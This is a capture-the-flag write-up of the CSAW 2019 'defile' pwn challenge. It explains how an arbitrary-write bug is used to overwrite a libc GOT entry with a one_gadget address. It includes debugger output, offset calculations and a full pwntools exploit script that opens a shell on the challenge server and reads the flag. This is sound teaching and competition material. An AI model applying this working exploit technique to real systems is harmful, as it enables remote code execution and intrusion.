Challenge details
Event | Challenge | Category | Points |
---|---|---|---|
CSAW CTF Final 2019 | defile | PWN | 100 |
Description
wild handlock main btw
nc pwn.chal.csaw.io 1004
Attachments
The binary is a dynamically linked ELF 64-bit executable, it has all protections enabled.
$ file defile
defile: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5631f2588790fa344f6f360d39819963f4f66d7f, not stripped
$ checksec --file defile
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
When running this binary, it will give you the address of stdout
in libc
, and ask for How much do you want to write?
, Where do you want to write?
and What do you want to write?
, then print Bye!
.
So it looks like an intended vulnerability, we have an arbitrary write.
After analyzing the binary, I found that the binary have two functions: main
and get_number
, the get_number
function simply read an unsigned long
from stdin
and return it, while the main
function ask for the input size then check if the size <= 256
otherwise it will print That's just too much
, then it ask for the address where to write and finally read the input by calling read
function with the parameters read(0, buf, nbytes)
, where buf
is the address we provided and nbytes
the size of input.
Since the binary is compiled with full RELRO
and PIE
enabled we can’t overwrite anything in the binary (e.g. .got
, .dtors
, …) (as far as I know), so we need to find something else to overwrite, I noticed that there a call to puts
function after calling to read
function, So we need find some hooks or function pointers that puts
function use.
To do that I just set a break point at main+228
where main
call puts
then step into puts functions.
I noticed that puts
will call __tunable_get_val@plt
at puts+13
, make sure that you are debugging the target libc, not the local one.
gef> set environment LD_PRELOAD ./libc.so.6
gef> b *main+228 b *main+228
Breakpoint 1 at 0xa19
gef> r
Starting program: /opt/ctf/defile
Here's stdout:
0x7fcd74c16760
How much do you want to write?
0
Where do you want to write?
0
What do you want to write?
...
...
gef> disas puts
Dump of assembler code for function puts:
0x00007fcd748aa9c0 <+0>: push r13
0x00007fcd748aa9c2 <+2>: push r12
0x00007fcd748aa9c4 <+4>: mov r12,rdi
0x00007fcd748aa9c7 <+7>: push rbp
0x00007fcd748aa9c8 <+8>: push rbx
0x00007fcd748aa9c9 <+9>: sub rsp,0x8
0x00007fcd748aa9cd <+13>: call 0x7fcd7484b100 <__tunable_get_val@plt+16>
Since the libc is not compiled with Full RELRO
, we can overwrite __tunable_get_val
.got
entry
$ checksec --file libc.so.6
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
In order to do that we need to calculate to offset between stdout
and __tunable_get_val
.got
entry, so step into __tunable_get_val@plt+16
and get the .got
entry address
...
...
gef> x/3i 0x7fcd7484b100
=> 0x7fcd7484b100 <__tunable_get_val@plt+16>: jmp QWORD PTR [rip+0x3c9fa2] # 0x7fcd74c150a8
0x7fcd7484b106 <__tunable_get_val@plt+22>: push 0x20
0x7fcd7484b10b <__tunable_get_val@plt+27>: jmp 0x7fcd7484afd0
...
...
gef> p 0x7fcd74c16760 - 0x7fcd74c150a8
$1 = 0x16b8
Here the stdout
address is 0x7fcd74c16760
, the .got
entry address is: 0x7fcd74c150a8
and the offset is 0x16b8
Now we can control RIP
register, but we have only one shot, we can’t do any ROP chaining, so we need to find one_gadget
RCE in that libc (see one_gadget).
$ one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Exploit
- get the
stdout
address - calculate the address of
__tunable_get_val
got entry - calculate the libc base address
- calculate the
one_gadget
address - overwrite the got entry with
one_gadget
address.
Exploit code
import subprocess
from pwn import *
HOST = "pwn.chal.csaw.io"
PORT = 1004
def get_one_gadget(filename):
return list(map(
int,
subprocess.check_output(['one_gadget', '--raw', filename]).split(b' ')
))
def exploit():
offset = 0x16b8
libc = ELF("./libc.so.6")
stdout_libc = libc.sym["_IO_2_1_stdout_"]
log.info("stdout_libc: 0x%08x" % stdout_libc)
# one gadget RCE offsets
one_gadgets = get_one_gadget('./libc.so.6')
log.info("one gadget RCE offsets: %s" % str(one_gadgets))
target = remote(HOST, PORT)
target.recvuntil("Here's stdout:\n")
buf = target.recvline().strip()
stdout = int(buf, 16)
log.info("stdout: 0x%08x" % stdout)
libc_base = stdout - stdout_libc
log.info("libc_base: 0x%08x" % libc_base)
got_entry = stdout - offset
one_gadget_libc = libc_base + one_gadgets[2]
log.info("got_entry: 0x%08x" % got_entry)
log.info("one_gadget: 0x%08x" % one_gadget_libc)
target.recvuntil("do you want to write?\n")
target.sendline('8')
target.recvuntil("Where do you want to write?\n")
target.send(str(got_entry))
target.recvuntil("What do you want to write?\n")
target.sendline(p64(one_gadget_libc))
target.sendline("id;cat flag.txt;exit")
buf = target.recvall()
if b"uid" in buf:
log.success(buf.decode())
else:
log.failure(buf.decode())
if __name__ == "__main__":
exploit()
Running the exploit
Flag
flag{me_you_in_room_1337_tonight}